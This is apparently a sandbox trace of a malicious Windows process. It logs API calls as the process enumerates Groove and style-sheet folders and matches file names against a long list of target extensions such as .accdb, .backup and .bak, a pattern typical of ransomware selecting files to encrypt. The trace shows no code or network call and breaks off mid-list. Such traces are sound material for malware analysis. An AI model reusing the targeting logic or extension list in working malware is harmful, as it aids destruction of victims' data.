lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0264.220] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0264.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0264.221] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0264.221] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0264.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0264.221] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0264.222] RtlpDeCommitFreeBlock () [0264.222] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0264.224] RtlpDeCommitFreeBlock () [0264.224] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0264.225] RtlpDeCommitFreeBlock () [0264.225] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0264.226] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0264.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0264.226] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0264.228] RtlpDeCommitFreeBlock () [0264.228] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0264.340] RtlpDeCommitFreeBlock () [0264.340] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0264.342] RtlpDeCommitFreeBlock () [0264.342] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0264.342] RtlpDeCommitFreeBlock () [0264.342] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0264.342] RtlpDeCommitFreeBlock () [0264.342] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0264.342] RtlpDeCommitFreeBlock () [0264.342] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0264.343] RtlpDeCommitFreeBlock () [0264.343] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0264.346] RtlpDeCommitFreeBlock () [0264.346] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0264.348] RtlpDeCommitFreeBlock () [0264.348] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0264.348] RtlpDeCommitFreeBlock () [0264.348] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0264.349] RtlpDeCommitFreeBlock () [0264.349] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1 [0264.349] RtlpDeCommitFreeBlock () [0264.349] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0264.350] RtlpDeCommitFreeBlock () [0264.350] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0264.350] RtlpDeCommitFreeBlock () [0264.350] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1 [0264.350] RtlpDeCommitFreeBlock () [0264.350] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1 [0264.350] RtlpDeCommitFreeBlock () [0264.350] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x977, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0264.350] RtlpDeCommitFreeBlock () [0264.350] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1 [0264.351] RtlpDeCommitFreeBlock () [0264.351] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0264.351] RtlpDeCommitFreeBlock () [0264.351] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0264.351] RtlpDeCommitFreeBlock () [0264.351] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0264.351] RtlpDeCommitFreeBlock () [0264.351] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe34, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0264.351] RtlpDeCommitFreeBlock () [0264.351] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0264.352] RtlpDeCommitFreeBlock () [0264.352] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0264.352] RtlpDeCommitFreeBlock () [0264.352] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc23, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0264.352] RtlpDeCommitFreeBlock () [0264.352] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0264.352] lstrlenW (lpString="FormsVersion1Warning.htm") returned 24 [0264.352] lstrlenW (lpString=".1cd") returned 4 [0264.352] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0264.352] lstrlenW (lpString=".3ds") returned 4 [0264.352] lstrcmpiW (lpString1=".3ds", lpString2=".htm") returned -1 [0264.352] lstrlenW (lpString=".3fr") returned 4 [0264.352] lstrcmpiW (lpString1=".3fr", lpString2=".htm") returned -1 [0264.352] lstrlenW (lpString=".3g2") returned 4 [0264.352] lstrcmpiW (lpString1=".3g2", lpString2=".htm") returned -1 [0264.352] lstrlenW (lpString=".3gp") returned 4 [0264.352] lstrcmpiW (lpString1=".3gp", lpString2=".htm") returned -1 [0264.352] lstrlenW (lpString=".7z") returned 3 [0264.352] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0264.352] lstrlenW (lpString=".accda") returned 6 [0264.352] lstrcmpiW (lpString1=".accda", lpString2="ng.htm") returned -1 [0264.352] lstrlenW (lpString=".accdb") returned 6 [0264.353] lstrcmpiW (lpString1=".accdb", lpString2="ng.htm") returned -1 [0264.353] lstrlenW (lpString=".accdc") returned 6 [0264.353] lstrcmpiW (lpString1=".accdc", lpString2="ng.htm") returned -1 [0264.353] lstrlenW (lpString=".accde") returned 6 [0264.353] lstrcmpiW (lpString1=".accde", lpString2="ng.htm") returned -1 [0264.353] lstrlenW (lpString=".accdt") returned 6 [0264.353] lstrcmpiW (lpString1=".accdt", lpString2="ng.htm") returned -1 [0264.353] lstrlenW (lpString=".accdw") returned 6 [0264.353] lstrcmpiW (lpString1=".accdw", lpString2="ng.htm") returned -1 [0264.353] lstrlenW (lpString=".adb") returned 4 [0264.353] lstrcmpiW (lpString1=".adb", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".adp") returned 4 [0264.353] lstrcmpiW (lpString1=".adp", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".ai") returned 3 [0264.353] lstrcmpiW (lpString1=".ai", lpString2="htm") returned -1 [0264.353] lstrlenW (lpString=".ai3") returned 4 [0264.353] lstrcmpiW (lpString1=".ai3", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".ai4") returned 4 [0264.353] lstrcmpiW (lpString1=".ai4", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".ai5") returned 4 [0264.353] lstrcmpiW (lpString1=".ai5", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".ai6") returned 4 [0264.353] lstrcmpiW (lpString1=".ai6", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".ai7") returned 4 [0264.353] lstrcmpiW (lpString1=".ai7", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".ai8") returned 4 [0264.353] lstrcmpiW (lpString1=".ai8", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".anim") returned 5 [0264.353] lstrcmpiW (lpString1=".anim", lpString2="g.htm") returned -1 [0264.353] lstrlenW (lpString=".arw") returned 4 [0264.353] lstrcmpiW (lpString1=".arw", lpString2=".htm") returned -1 [0264.353] lstrlenW (lpString=".as") returned 3 [0264.353] lstrcmpiW (lpString1=".as", lpString2="htm") returned -1 [0264.353] lstrlenW (lpString=".asa") returned 4 [0264.353] lstrcmpiW (lpString1=".asa", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".asc") returned 4 [0264.354] lstrcmpiW (lpString1=".asc", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".ascx") returned 5 [0264.354] lstrcmpiW (lpString1=".ascx", lpString2="g.htm") returned -1 [0264.354] lstrlenW (lpString=".asm") returned 4 [0264.354] lstrcmpiW (lpString1=".asm", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".asmx") returned 5 [0264.354] lstrcmpiW (lpString1=".asmx", lpString2="g.htm") returned -1 [0264.354] lstrlenW (lpString=".asp") returned 4 [0264.354] lstrcmpiW (lpString1=".asp", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".aspx") returned 5 [0264.354] lstrcmpiW (lpString1=".aspx", lpString2="g.htm") returned -1 [0264.354] lstrlenW (lpString=".asr") returned 4 [0264.354] lstrcmpiW (lpString1=".asr", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".asx") returned 4 [0264.354] lstrcmpiW (lpString1=".asx", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".avi") returned 4 [0264.354] lstrcmpiW (lpString1=".avi", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".avs") returned 4 [0264.354] lstrcmpiW (lpString1=".avs", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".backup") returned 7 [0264.354] lstrcmpiW (lpString1=".backup", lpString2="ing.htm") returned -1 [0264.354] lstrlenW (lpString=".bak") returned 4 [0264.354] lstrcmpiW (lpString1=".bak", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".bay") returned 4 [0264.354] lstrcmpiW (lpString1=".bay", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".bd") returned 3 [0264.354] lstrcmpiW (lpString1=".bd", lpString2="htm") returned -1 [0264.354] lstrlenW (lpString=".bin") returned 4 [0264.354] lstrcmpiW (lpString1=".bin", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".bmp") returned 4 [0264.354] lstrcmpiW (lpString1=".bmp", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".bz2") returned 4 [0264.354] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0264.354] lstrlenW (lpString=".c") returned 2 [0264.354] lstrcmpiW (lpString1=".c", lpString2="tm") returned -1 [0264.355] lstrlenW (lpString=".cdr") returned 4 [0264.355] lstrcmpiW (lpString1=".cdr", lpString2=".htm") returned -1 [0264.355] lstrlenW (lpString=".cer") returned 4 [0264.355] lstrcmpiW (lpString1=".cer", lpString2=".htm") returned -1 [0264.355] lstrlenW (lpString=".cf") returned 3 [0264.355] lstrcmpiW (lpString1=".cf", lpString2="htm") returned -1 [0264.355] lstrlenW (lpString=".cfc") returned 4 [0264.355] lstrcmpiW (lpString1=".cfc", lpString2=".htm") returned -1 [0264.355] lstrlenW (lpString=".cfm") returned 4 [0264.355] lstrcmpiW (lpString1=".cfm", lpString2=".htm") returned -1 [0264.355] lstrlenW (lpString=".cfml") returned 5 [0264.355] lstrcmpiW (lpString1=".cfml", lpString2="g.htm") returned -1 [0264.355] lstrlenW (lpString=".cfu") returned 4 [0264.355] lstrcmpiW (lpString1=".cfu", lpString2=".htm") returned -1 [0264.355] lstrlenW (lpString=".chm") returned 4 [0264.355] lstrcmpiW (lpString1=".chm", lpString2=".htm") returned -1 [0264.355] lstrlenW (lpString=".cin") returned 4 [0264.355] lstrcmpiW (lpString1=".cin", lpString2=".htm") returned -1 [0264.355] lstrlenW (lpString=".class") returned 6 [0264.355] lstrcmpiW (lpString1=".class", lpString2="ng.htm") returned -1 [0264.355] lstrlenW (lpString=".clx") returned 4 [0264.355] lstrcmpiW (lpString1=".clx", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".config") returned 7 [0264.356] lstrcmpiW (lpString1=".config", lpString2="ing.htm") returned -1 [0264.356] lstrlenW (lpString=".cpp") returned 4 [0264.356] lstrcmpiW (lpString1=".cpp", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".cr2") returned 4 [0264.356] lstrcmpiW (lpString1=".cr2", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".crt") returned 4 [0264.356] lstrcmpiW (lpString1=".crt", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".crw") returned 4 [0264.356] lstrcmpiW (lpString1=".crw", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".cs") returned 3 [0264.356] lstrcmpiW (lpString1=".cs", lpString2="htm") returned -1 [0264.356] lstrlenW (lpString=".css") returned 4 [0264.356] lstrcmpiW (lpString1=".css", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".csv") returned 4 [0264.356] lstrcmpiW (lpString1=".csv", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".cub") returned 4 